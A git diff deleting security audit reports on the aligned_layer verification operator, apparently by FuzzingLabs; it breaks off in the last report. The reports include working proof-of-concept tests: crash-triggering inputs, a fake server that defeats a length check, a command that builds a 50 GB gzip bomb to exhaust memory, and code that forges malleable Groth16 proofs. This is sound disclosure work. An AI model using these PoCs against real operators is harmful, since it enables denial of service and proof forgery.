(C.uint32_t)(imageIdLen), publicInputPtr, (C.uint32_t)(publicInputLen))) - 19┆ } - ⋮┆---------------------------------------- - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&publicInput[0]): - Consider checking slice length before access. - - 14┆ func VerifyRiscZeroReceipt(receiptBuffer []byte, receiptLen uint32, imageIdBuffer []byte, - imageIdLen uint32, publicInput []byte, publicInputLen uint32) bool { - 15┆ receiptPtr := (*C.uchar)(unsafe.Pointer(&receiptBuffer[0])) - 16┆ imageIdPtr := (*C.uchar)(unsafe.Pointer(&imageIdBuffer[0])) - 17┆ publicInputPtr := (*C.uchar)(unsafe.Pointer(&publicInput[0])) - 18┆ return (bool)(C.verify_risc_zero_receipt_ffi(receiptPtr, (C.uint32_t)(receiptLen), - imageIdPtr, (C.uint32_t)(imageIdLen), publicInputPtr, (C.uint32_t)(publicInputLen))) - 19┆ } - ⋮┆---------------------------------------- - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&receiptBuffer[0]): - Consider checking slice length before access. - - 14┆ func VerifyRiscZeroReceipt(receiptBuffer []byte, receiptLen uint32, imageIdBuffer []byte, - imageIdLen uint32, publicInput []byte, publicInputLen uint32) bool { - 15┆ receiptPtr := (*C.uchar)(unsafe.Pointer(&receiptBuffer[0])) - 16┆ imageIdPtr := (*C.uchar)(unsafe.Pointer(&imageIdBuffer[0])) - 17┆ publicInputPtr := (*C.uchar)(unsafe.Pointer(&publicInput[0])) - 18┆ return (bool)(C.verify_risc_zero_receipt_ffi(receiptPtr, (C.uint32_t)(receiptLen), - imageIdPtr, (C.uint32_t)(imageIdLen), publicInputPtr, (C.uint32_t)(publicInputLen))) - 19┆ } - - operator/sp1/sp1.go - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&elfBuffer[0]): - Consider checking slice length before access. - - 12┆ func VerifySp1Proof(proofBuffer []byte, proofLen uint32, elfBuffer []byte, elfLen uint32) - bool { - 13┆ proofPtr := (*C.uchar)(unsafe.Pointer(&proofBuffer[0])) - 14┆ elfPtr := (*C.uchar)(unsafe.Pointer(&elfBuffer[0])) - 15┆ - 16┆ return (bool)(C.verify_sp1_proof_ffi(proofPtr, (C.uint32_t)(proofLen), elfPtr, - (C.uint32_t)(elfLen))) - 17┆ } - ⋮┆---------------------------------------- - ❯❱ custom-rules.unsafe-pointer-slice-access - Hardcoded access to the first element of a slice detected. - For unsafe.Pointer(&proofBuffer[0]): - Consider checking slice length before access. - - 12┆ func VerifySp1Proof(proofBuffer []byte, proofLen uint32, elfBuffer []byte, elfLen uint32) - bool { - 13┆ proofPtr := (*C.uchar)(unsafe.Pointer(&proofBuffer[0])) - 14┆ elfPtr := (*C.uchar)(unsafe.Pointer(&elfBuffer[0])) - 15┆ - 16┆ return (bool)(C.verify_sp1_proof_ffi(proofPtr, (C.uint32_t)(proofLen), elfPtr, - (C.uint32_t)(elfLen))) - 17┆ } - -``` - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered in the `operator` package. - -1. Create a file with the following content: - ```go - package operator_test - - import ( - "github.com/Layr-Labs/eigensdk-go/logging" - servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" - "github.com/yetanotherco/aligned_layer/core/config" - operator "github.com/yetanotherco/aligned_layer/operator/pkg" - "testing" - ) - - func TestGetBatchS3Panic(t *testing.T) { - logger, err := config.NewLogger(logging.Production) - if err != nil { - t.Fatalf("Error creating logger: %v", err) - } - op := operator.Operator{ - Logger: logger, - } - newBatchLog := &servicemanager.ContractAlignedLayerServiceManagerNewBatch{ - BatchMerkleRoot: [32]byte([]byte("[\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]")), - BatchDataPointer: "https://proof-of-null.s3.eu-west-3.amazonaws.com/rieng", - } - if err := op.ProcessNewBatchLog(newBatchLog); err != nil { - t.Fatalf("Error processing new batch log: %v", err) - } - } - ``` -2. Run the test: - ```sh - go test github.com/yetanotherco/aligned_layer/fuzzinglabs/operator - ``` - -## Root Cause Analysis - -The root cause is located in `operator/merkle_tree/merkle_tree.go`. - -```go -package merkle_tree -... - - -func VerifyMerkleTreeBatch(batchBuffer []byte, batchLen uint, merkleRootBuffer [32]byte) bool { - batchPtr := (*C.uchar)(unsafe.Pointer(&batchBuffer[0])) - ... -} -``` - -`batchBuffer` can be empty, which will cause the panic accessing the first element of the slice. - -## Detailed Behavior - -```sh -{"level":"info","ts":1722517205.441977,"caller":"pkg/operator.go:177","msg":"Received new batch with proofs to verify","batch merkle root":[91,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9]} -{"level":"info","ts":1722517205.4420319,"caller":"pkg/s3.go:13","msg":"Getting batch from S3..., batchURL: https://proof-of-null.s3.eu-west-3.amazonaws.com/rieng"} -{"level":"info","ts":1722517205.5218606,"caller":"pkg/s3.go:46","msg":"Verifying batch merkle tree..."} ---- FAIL: TestGetBatchS3Panic (0.08s) -panic: runtime error: index out of range [0] with length 0 [recovered] - panic: runtime error: index out of range [0] with length 0 - -goroutine 6 [running]: -... -github.com/yetanotherco/aligned_layer/operator/merkle_tree.VerifyMerkleTreeBatch(...) - /aligned_layer/operator/merkle_tree/merkle_tree.go:14 -github.com/yetanotherco/aligned_layer/operator/pkg.(*Operator).getBatchFromS3(0xc000002180, {0x1552b63, 0x36}, {0x5b, 0x9, 0x9, 0x9, 0x9, 0x9, 0x9, ...}) - /aligned_layer/operator/pkg/s3.go:47 +0x630 -github.com/yetanotherco/aligned_layer/operator/pkg.(*Operator).ProcessNewBatchLog(0xc000002180, 0xc000159e70) - /aligned_layer/operator/pkg/operator.go:181 +0x10e -... -``` - -## Recommendations - -- Input Validation: Ensure that the len of `batchBuffer` is greater than 0 before processing it. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/explorer_missing_csp_header.md b/pre_audits/fuzzing_labs/explorer_missing_csp_header.md deleted file mode 100644 index 8befee2f6..000000000 --- a/pre_audits/fuzzing_labs/explorer_missing_csp_header.md +++ /dev/null @@ -1,39 +0,0 @@ -# Missing Content-Security-Policy in `router.ex` - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 09/08/2024 - -## **Executive Summary** - -While auditing and fuzzing some verification functions, we discovered that there is a missing Content-Security-Policy -header in the `router.ex` file. - -## Vulnerability Details - -- **Severity:** Informational - -- **Affected Components:** `lib/explorer_web/router.ex` - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** - - Erlang/OTP 25 [erts-13.2.2.9] [source] [64-bit] [smp:32:32] [ds:32:32:10] [async-threads:1] [jit:ns] - - Elixir 1.14.0 (compiled with Erlang/OTP 24) - -## Recommendations - -You can specify CSP for `put_secure_browser_headers` in the browser pipeline of `ExplorerWeb.Router` - -```elixir -defmodule ExplorerWeb.Router do - use ExplorerWeb, :router - - pipeline :browser do - ... - plug :put_secure_browser_headers, %{"content-security-policy" => "default-src 'self'"} - end - ... -end -`` \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/multiple_OOB_operator_verify.md b/pre_audits/fuzzing_labs/multiple_OOB_operator_verify.md deleted file mode 100644 index a1cc079a3..000000000 --- a/pre_audits/fuzzing_labs/multiple_OOB_operator_verify.md +++ /dev/null @@ -1,181 +0,0 @@ -# Multiple OOB in the verify function of the Operator - -**Author(s):** Nabih Benazzouz [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 09/08/2024 - -## **Executive Summary** - -During an audit and fuzzing of several operator functions, we identified multiple out-of-bounds (OOB) vulnerabilities within the `verify` function. This function manipulates arrays without performing adequate size checks. For example, the code snippet `copy(csLenBuffer, paramsBytes[:4])` is used without verifying the size of the `paramsBytes` array, leading to potential OOB errors. - -## Vulnerability Details - -- **Severity:** Critical - -- **Affected Component:** operator/pkg - -- **Permalink:** [GitHub Source](https://github.com/yetanotherco/aligned_layer/blob/81e1ae4ff6cdddca28808ac071d4b1ae72793346/operator/pkg/operator.go#L251) - -## Environment - -- **Distro Version:** 6.9.9-1-MANJARO -- **Additional Environment Details:** rustc 1.79.0-nightly (1cec373f6 2024-04-16) - -## Steps to Reproduce - -You can trigger the OOB issues in this function using the following fuzzing harness. Once one OOB is fixed, others may be revealed. - -1. Start the batcher: - -```go -// operator/pkg/operatorfuzz_test.go -package operator - -import ( - "encoding/binary" - "errors" - "fmt" - "testing" - - sdklogging "github.com/Layr-Labs/eigensdk-go/logging" - "github.com/google/gofuzz" - "github.com/yetanotherco/aligned_layer/common" -) - -func NewLogger(loggingLevel sdklogging.LogLevel) (sdklogging.Logger, error) { - logger, err := sdklogging.NewZapLogger(loggingLevel) - if err != nil { - fmt.Println("Could not initialize logger") - return nil, err - } - return logger, nil -} - -func bytesToInt64(b []byte) (int64, error) { - if len(b) < 8 { - return 0, errors.New("byte slice too short to convert to int64") - } - return int64(binary.BigEndian.Uint64(b[:8])), nil -} - -func FuzzVerifyOperator(f *testing.F) { - - f.Fuzz(func(t *testing.T, data []byte) { - // Verify operator - seed, err := bytesToInt64(data) - if err != nil { - return - } - f := fuzz.NewWithSeed(seed) - logger, _ := NewLogger(sdklogging.LogLevel("development")) - var op Operator = Operator{Logger: logger} - var verifData VerificationData - var verifBool chan bool = make(chan bool) - f.Fuzz(&verifData) - verifData.ProvingSystemId = common.Halo2IPA - op.verify(verifData, verifBool) - }) -} -``` -```sh -go test -fuzz=FuzzVerifyOperator -``` - - -## Root Cause Analysis - -The vulnerability in the `verify` function arises due to the lack of length checks for various arrays or slices before they are manipulated. This oversight can lead to out-of-bounds errors. - -Example: - -```go -... - csLenBuffer := make([]byte, 4) - copy(csLenBuffer, paramsBytes[:4]) - csLen := (uint32)(binary.LittleEndian.Uint32(csLenBuffer)) - - // Deserialize vkLen - vkLenBuffer := make([]byte, 4) - copy(vkLenBuffer, paramsBytes[4:8]) - vkLen := (uint32)(binary.LittleEndian.Uint32(vkLenBuffer)) - - // Deserialize ipaParamLen - IpaParamsLenBuffer := make([]byte, 4) - copy(IpaParamsLenBuffer, paramsBytes[8:12]) - IpaParamsLen := (uint32)(binary.LittleEndian.Uint32(IpaParamsLenBuffer)) -... -and more - -``` - -Since the `verificationData` utilized in this function is retrieved from an S3 bucket, there is a possibility that a user could send malformed data to the S3, triggering these vulnerabilities. - -```go -func (o *Operator) ProcessNewBatchLog(newBatchLog *servicemanager.ContractAlignedLayerServiceManagerNewBatch) error { - ... - verificationDataBatch, err := o.getBatchFromS3(newBatchLog.BatchDataPointer, newBatchLog.BatchMerkleRoot) - ... - for _, verificationData := range verificationDataBatch { - go func(data VerificationData) { - defer wg.Done() - o.verify(data, results) - -``` -Additionally, a user could exploit this vulnerability by providing their own URL in the smart contract via `AlignedServiceManager.createNewTask`. - -```solidity -... -contract AlignedLayerServiceManager is - ... -{ - ... - // ! Everyone can call this function - function createNewTask( - bytes32 batchMerkleRoot, - string calldata batchDataPointer - ) external payable { - ... - } -} -``` - - -## Detailed Behavior - -```sh ---- FAIL: FuzzVerifyOperator (0.04s) - --- FAIL: FuzzVerifyOperator (0.00s) - testing.go:1590: panic: runtime error: slice bounds out of range [:4] with capacity 2 - goroutine 32 [running]: - runtime/debug.Stack() - /usr/lib/go/src/runtime/debug/stack.go:24 +0x9b - testing.tRunner.func1() - /usr/lib/go/src/testing/testing.go:1590 +0x1c8 - panic({0x190ac40?, 0xc0001425e8?}) - /usr/lib/go/src/runtime/panic.go:770 +0x132 - github.com/yetanotherco/aligned_layer/operator/pkg.(*Operator).verify(0xc0005195e0, {0x5, {0x0, 0x0, 0x0}, {0xc00027fef0, 0x3, 0x3}, {0xc00027ff00, 0x2, ...}, ...}, ...) - /home/raefko/AlignedLayer_audit/operator/pkg/operator.go:251 +0x14e9 - github.com/yetanotherco/aligned_layer/operator/pkg.FuzzVerifyOperator.func1(0x0?, {0xc00027fe80, 0x8, 0x4a9613?}) - /home/raefko/AlignedLayer_audit/operator/pkg/operatorfuzz_test.go:45 +0x1e8 - reflect.Value.call({0x18463a0?, 0x1a382e0?, 0x13?}, {0x195a57a, 0x4}, {0xc000299860, 0x2, 0x2?}) - /usr/lib/go/src/reflect/value.go:596 +0xca6 - reflect.Value.Call({0x18463a0?, 0x1a382e0?, 0x5e16ed?}, {0xc000299860?, 0x1958fa0?, 0xf?}) - /usr/lib/go/src/reflect/value.go:380 +0xb9 - testing.(*F).Fuzz.func1.1(0xc00015fa00?) - /usr/lib/go/src/testing/fuzz.go:335 +0x325 - testing.tRunner(0xc00015fa00, 0xc000166900) - /usr/lib/go/src/testing/testing.go:1689 +0xfb - created by testing.(*F).Fuzz.func1 in goroutine 34 - /usr/lib/go/src/testing/fuzz.go:322 +0x574 - - -FAIL -exit status 1 -FAIL github.com/yetanotherco/aligned_layer/operator/pkg 0.056s - -``` - -## Recommendations - -1. Implement strict input validation to ensure that all input fields are of the expected size before processing. -2. Add a modifier to the `createNewTask` function to restrict access to only authorized users. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/operator_get_batch_s3_bypass_length.md b/pre_audits/fuzzing_labs/operator_get_batch_s3_bypass_length.md deleted file mode 100644 index 15f6e7053..000000000 --- a/pre_audits/fuzzing_labs/operator_get_batch_s3_bypass_length.md +++ /dev/null @@ -1,158 +0,0 @@ -# Bypass length check in `Operator.GetBatchS3` - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we found that the `getBatchS3` method -of `Operator` is vulnerable to a bypass length check attack via a crafted HTTP response for example. - -### Vulnerability Details - -- **Severity:** High -- **Affected Component:** `operator/pkg/s3.go` - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered in the `operator` -package. - -1. Create a text file in your test folder, here `aligned_layer/fuzzinglabs/operator`: - ```sh - echo "That would be rejected" > bypass_length_test.txt - ``` -2. Create a file in your test folder with the following content: - ```go - package operator_test - - import ( - "github.com/Layr-Labs/eigensdk-go/logging" - "github.com/ethereum/go-ethereum/common" - servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" - "github.com/yetanotherco/aligned_layer/core/config" - operator "github.com/yetanotherco/aligned_layer/operator/pkg" - "net/http" - "os" - "strconv" - "strings" - "testing" - ) - - const LimitOperatorBatchSize = 10 - - func TestGetBatchS3BypassLength(t *testing.T) { - go startBypassLengthTestServer(t) - logger, err := config.NewLogger(logging.Production) - if err != nil { - t.Fatalf("Error creating logger: %v", err) - } - op := operator.Operator{ - Logger: logger, - Config: config.OperatorConfig{ - Operator: struct { - AggregatorServerIpPortAddress string - Address common.Address - EarningsReceiverAddress common.Address - DelegationApproverAddress common.Address - StakerOptOutWindowBlocks int - MetadataUrl string - RegisterOperatorOnStartup bool - EnableMetrics bool - MetricsIpPortAddress string - MaxBatchSize int64 - }{MaxBatchSize: LimitOperatorBatchSize}, - }, - } - newBatchLog := &servicemanager.ContractAlignedLayerServiceManagerNewBatch{ - BatchMerkleRoot: [32]byte([]byte("[\t\t\t\t\t\t\t\t\t\t\t\t\\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]")), - BatchDataPointer: "http://localhost:8080", - } - if err := op.ProcessNewBatchLog(newBatchLog); err != nil { - if strings.Contains(err.Error(), "exceeds max batch size") { - t.Fatal("This test should bypass the length check") - } - } - } - - func startBypassLengthTestServer(t *testing.T) { - http.HandleFunc("/", handleRequestBypassLength) - t.Fatal(http.ListenAndServe(":8080", nil)) - } - - func handleRequestBypassLength(w http.ResponseWriter, r *http.Request) { - switch r.Method { - case http.MethodHead: - w.Header().Set("Content-Length", strconv.Itoa(LimitOperatorBatchSize)) - case http.MethodGet: - content, err := os.ReadFile("bypass_length_test.txt") - if err != nil { - http.Error(w, "File not found", http.StatusNotFound) - return - } - w.Header().Set("Content-Encoding", "txt") - if _, err := w.Write(content); err != nil { - return - } - default: - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - } - } - ``` -3. Run the test: - ```sh - go test github.com/yetanotherco/aligned_layer/fuzzinglabs/operator - ``` - -## Root Cause Analysis - -The root cause is located in `operator/pkg/s3.go`. - -```go -package operator -... -func (o *Operator) getBatchFromS3(batchURL string, expectedMerkleRoot [32]byte) ([]VerificationData, error) { - ... - resp, err := http.Head(batchURL) - if err != nil { - return nil, err - } - - // Check if the response is OK - if resp.StatusCode != http.StatusOK { - return nil, fmt.Errorf("error getting Proof Head from S3: %s", resp.Status) - } - - if resp.ContentLength > o.Config.Operator.MaxBatchSize { - return nil, fmt.Errorf("proof size %d exceeds max batch size %d", - resp.ContentLength, o.Config.Operator.MaxBatchSize) - } - ... -} -``` - -Making a `HEAD` request to the batch URL in order to get the content length can be bypassed if the server does not -return the correct content length. - -## Detailed Behavior - -```sh -=== RUN TestGetBatchS3BypassLength -{"level":"info","ts":1722606626.9207094,"caller":"pkg/operator.go:177","msg":"Received new batch with proofs to verify","batch merkle root":[91,9,9,9,9,9,9,9,9,9,9,9,9,92,116,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9]} -{"level":"info","ts":1722606626.9207475,"caller":"pkg/s3.go:13","msg":"Getting batch from S3..., batchURL: http://localhost:8080"} -{"level":"info","ts":1722606626.942076,"caller":"pkg/s3.go:46","msg":"Verifying batch merkle tree..."} -{"level":"error","ts":1722606626.9842112,"caller":"pkg/operator.go:183","msg":"Could not get proofs from S3 bucket: merkle root check failed","stacktrace":"github.com/yetanotherco/aligned_layer/operator/pkg.(*Operator).ProcessNewBatchLog\n\t/home/john/FuzzingLabs/aligned_layer/operator/pkg/operator.go:183\ngithub.com/yetanotherco/aligned_layer/fuzzinglabs/operator_test.TestGetBatchS3BypassLength\n\t/home/john/FuzzingLabs/aligned_layer/fuzzinglabs/operator/get_batch_s3_bypass_length_test.go:45\ntesting.tRunner\n\t/home/john/sdk/go1.22.5/src/testing/testing.go:1689"} ---- PASS: TestGetBatchS3BypassLength (0.07s) -PASS -``` - -## Recommendations - -This issue can be fixed by allowing a whitelist of domains that are allowed to host a batch file. This way, the operator -can check if the domain is allowed to host the batch file and if the content length is correct. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/operator_get_batch_s3_oom.md b/pre_audits/fuzzing_labs/operator_get_batch_s3_oom.md deleted file mode 100644 index becb4123b..000000000 --- a/pre_audits/fuzzing_labs/operator_get_batch_s3_oom.md +++ /dev/null @@ -1,170 +0,0 @@ -# Operator is vulnerable to OOM due to getBatchFromS3 - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we found that the `getBatchFromS3` method of -`Operator` is vulnerable to an OOM attack via a crafted gzip file for example. - -### Vulnerability Details - -- **Severity:** High -- **Affected Component:** `operator/pkg/s3.go` - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered in the `operator` -package. - -1. Create a gzip file in your test folder, here `aligned_layer/fuzzinglabs/operator`: - ```sh - dd if=/dev/zero bs=1M count=50240 | gzip > 50G.gzip - ``` -2. Create a file in your test folder with the following content: - ```go - package operator_test - - import ( - "github.com/Layr-Labs/eigensdk-go/logging" - "github.com/ethereum/go-ethereum/common" - servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" - "github.com/yetanotherco/aligned_layer/core/config" - operator "github.com/yetanotherco/aligned_layer/operator/pkg" - "net/http" - "os" - "runtime" - "testing" - ) - - // 1GB - const LimitRamUsage = 1024 * 1024 * 1024 - - // 256MB - const LimitBatchSize = 256 * 1024 * 1024 - - func TestGetBatchS3OOM(t *testing.T) { - go startTestServerOOM(t) - defer runtime.GOMAXPROCS(runtime.GOMAXPROCS(1)) - var start, end runtime.MemStats - runtime.GC() - runtime.ReadMemStats(&start) - processGzipBomb(t) - runtime.ReadMemStats(&end) - alloc := end.TotalAlloc - start.TotalAlloc - if alloc > LimitRamUsage { - t.Fatalf("Memory usage exceeded limit: %d", alloc) - } - } - - func processGzipBomb(t *testing.T) { - logger, err := config.NewLogger(logging.Production) - if err != nil { - t.Fatalf("Error creating logger: %v", err) - } - op := operator.Operator{ - Logger: logger, - Config: config.OperatorConfig{ - Operator: struct { - AggregatorServerIpPortAddress string - Address common.Address - EarningsReceiverAddress common.Address - DelegationApproverAddress common.Address - StakerOptOutWindowBlocks int - MetadataUrl string - RegisterOperatorOnStartup bool - EnableMetrics bool - MetricsIpPortAddress string - MaxBatchSize int64 - }{MaxBatchSize: LimitBatchSize}, - }, - } - newBatchLog := &servicemanager.ContractAlignedLayerServiceManagerNewBatch{ - BatchMerkleRoot: [32]byte([]byte("[\t\t\t\t\t\t\t\t\t\t\t\t\\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]")), - BatchDataPointer: "http://localhost:8080", - } - if err := op.ProcessNewBatchLog(newBatchLog); err != nil { - t.Logf("Error processing new batch log: %v", err) - } - } - - func startTestServerOOM(t *testing.T) { - http.HandleFunc("/", handleRequestOOM) - t.Fatal(http.ListenAndServe(":8080", nil)) - } - - func handleRequestOOM(w http.ResponseWriter, r *http.Request) { - switch r.Method { - case http.MethodHead: - case http.MethodGet: - content, err := os.ReadFile("50G.gzip") - if err != nil { - http.Error(w, "File not found", http.StatusNotFound) - return - } - w.Header().Set("Content-Encoding", "gzip") - if _, err := w.Write(content); err != nil { - return - } - default: - http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) - } - } - ``` -3. Run the test: - ```sh - go test github.com/yetanotherco/aligned_layer/fuzzinglabs/operator - ``` -4. Read the exit status of the test. - ```shell - dmesg - ``` - -## Root Cause Analysis - -The root cause is located in `operator/pkg/s3.go`. - -```go -package operator -... -func (o *Operator) getBatchFromS3(batchURL string, expectedMerkleRoot [32]byte) ([]VerificationData, error) { - ... - batchBytes, err := io.ReadAll(resp.Body) - ... -} -``` - -`io.ReadAll` reads from the `resp.Body` until an EOF is encountered. If the `resp.Body` is a gzip file, it will be -decompressed in memory, which can lead to an OOM attack. - -## Detailed Behavior - -### Test output - -```sh -=== RUN TestGetBatchS3OOM -{"level":"info","ts":1722602535.7498837,"caller":"pkg/operator.go:177","msg":"Received new batch with proofs to verify","batch merkle root":[91,9,9,9,9,9,9,9,9,9,9,9,9,92,116,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9]} -{"level":"info","ts":1722602535.7516584,"caller":"pkg/s3.go:13","msg":"Getting batch from S3..., batchURL: http://localhost:8080"} - - -Process finished with the exit code 1 -``` - -### Dmesg output - -```sh -... -[37076.492062] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/,task=___9TestGetBatc,pid=1999192,uid=1000 -[37076.492126] Out of memory: Killed process 1999192 (___9TestGetBatc) total-vm:23834908kB, anon-rss:14799024kB, file-rss:0kB, shmem-rss:0kB, UID:1000 pgtables:36904kB oom_score_adj:0 -``` - -## Recommendations - -- Using `io.LimitReader` to limit the amount of data read from the response body. \ No newline at end of file diff --git a/pre_audits/fuzzing_labs/verify_groth16_allow_malleability.md b/pre_audits/fuzzing_labs/verify_groth16_allow_malleability.md deleted file mode 100644 index d8207d65a..000000000 --- a/pre_audits/fuzzing_labs/verify_groth16_allow_malleability.md +++ /dev/null @@ -1,122 +0,0 @@ -# Verify groth16 proof allow malleability - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 09/08/2024 - -## **Executive Summary** - -While auditing and fuzzing some verification functions, we discovered that the groth16 verification function allows -malleability. This is an expected behavior of the groth16 proof system. - -## Vulnerability Details - -- **Severity:** Informational - -- **Affected Components:** - - `batcher/aligned-batcher/gnark/verifier.go` - - `operator/pkg/operator.go` - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** go version go1.22.5 linux/amd64 - -## Steps to Reproduce - -1. Create a file in your test folder with the following content: - ```go - package malleability_test - - import ( - "github.com/consensys/gnark-crypto/ecc" - "github.com/consensys/gnark-crypto/ecc/bn254" - "github.com/consensys/gnark/backend/groth16" - groth16Bn254 "github.com/consensys/gnark/backend/groth16/bn254" - "github.com/consensys/gnark/frontend" - "github.com/consensys/gnark/frontend/cs/r1cs" - "github.com/stretchr/testify/assert" - "math/big" - "math/rand" - "testing" - ) - - type CubicCircuit struct { - X frontend.Variable `gnark:"x"` - Y frontend.Variable `gnark:",public"` - } - - func (circuit *CubicCircuit) Define(api frontend.API) error { - x3 := api.Mul(circuit.X, circuit.X, circuit.X) - api.AssertIsEqual(circuit.Y, api.Add(x3, circuit.X, 5)) - return nil - } - - func TestGroth16Bn254Randomize(t *testing.T) { - var circuit CubicCircuit - ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, &circuit) - if err != nil { - t.Fatalf("circuit compilation error: %v", err) - } - - pk, vk, _ := groth16.Setup(ccs) - - assignment := CubicCircuit{X: 3, Y: 35} - - fullWitness, err := frontend.NewWitness(&assignment, ecc.BN254.ScalarField()) - if err != nil { - t.Fatalf("failed to create full witness: %v", err) - } - - publicWitness, err := frontend.NewWitness(&assignment, ecc.BN254.ScalarField(), frontend.PublicOnly()) - if err != nil { - t.Fatalf("failed to create public witness: %v", err) - } - - proof, err := groth16.Prove(ccs, pk, fullWitness) - if err != nil { - t.Fatalf("GROTH16 proof generation error: %v", err) - } - - if err = groth16.Verify(proof, vk, publicWitness); err != nil { - t.Fatalf("GROTH16 proof not verified: %v", err) - } - - proofRand := randomizeGrothBn254(vk.(*groth16Bn254.VerifyingKey), proof.(*groth16Bn254.Proof)) - assert.NotEqualf(t, proofRand, proof, "proofs should not be equal") - - if err = groth16.Verify(proofRand, vk, publicWitness); err != nil { - t.Fatalf("GROTH16 proof not verified: %v", err) - } - } - - // https://blog.sui.io/malleability-groth16-zkproof/ - // https://www.beosin.com/resources/beosin%E2%80%99s-research--transaction-malleability-attack-of-groth - func randomizeGrothBn254(vk *groth16Bn254.VerifyingKey, proof *groth16Bn254.Proof) *groth16Bn254.Proof { - r1 := new(big.Int) - r2 := new(big.Int) - for r1.Sign() == 0 || r2.Sign() == 0 { - r1 = ecc.BN254.ScalarField().Rand(rand.New(rand.NewSource(0)), ecc.BN254.ScalarField()) - r2 = ecc.BN254.ScalarField().Rand(rand.New(rand.NewSource(1)), ecc.BN254.ScalarField()) - } - - newA := new(bn254.G1Affine).ScalarMultiplication(&proof.Ar, new(big.Int).ModInverse(r1, ecc.BN254.ScalarField())) - newB := new(bn254.G2Affine).ScalarMultiplication(&proof.Bs, r1) - newB.Add(newB, new(bn254.G2Affine).ScalarMultiplication(&vk.G2.Delta, new(big.Int).Mul(r1, r2))) - newC := new(bn254.G1Affine).Add(&proof.Krs, new(bn254.G1Affine).ScalarMultiplication(&proof.Ar, r2)) - - return &groth16Bn254.Proof{ - Ar: *newA, - Bs: *newB, - Krs: *newC, - } - } - ``` -2. Run the test: - ```sh - go test -v -run TestGroth16Bn254Randomize - ``` - -## Recommendations - -Maybe inform the user that the groth16 proof system allows malleability in case it could affect their usage. diff --git a/pre_audits/fuzzing_labs/verify_halo2_ipa.md b/pre_audits/fuzzing_labs/verify_halo2_ipa.md deleted file mode 100644 index 739717ee7..000000000 --- a/pre_audits/fuzzing_labs/verify_halo2_ipa.md +++ /dev/null @@ -1,125 +0,0 @@ -# Multiple OOB in aligned-batcher halo2_ipa verification - -**Author(s):** Nabih Benazzouz [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -## **Executive Summary** - -While auditing and fuzzing some verification functions, we discovered that the `verify_halo2_ipa` function manipulates arrays without performing size verification. For instance, it uses the code snippet `let cs_len_buf: [u8; 4] = verification_key[..4]` without checking the size of the array. - -## Vulnerability Details - -- **Severity:** High - -- **Affected Component:** batcher/aligned-batcher - -- 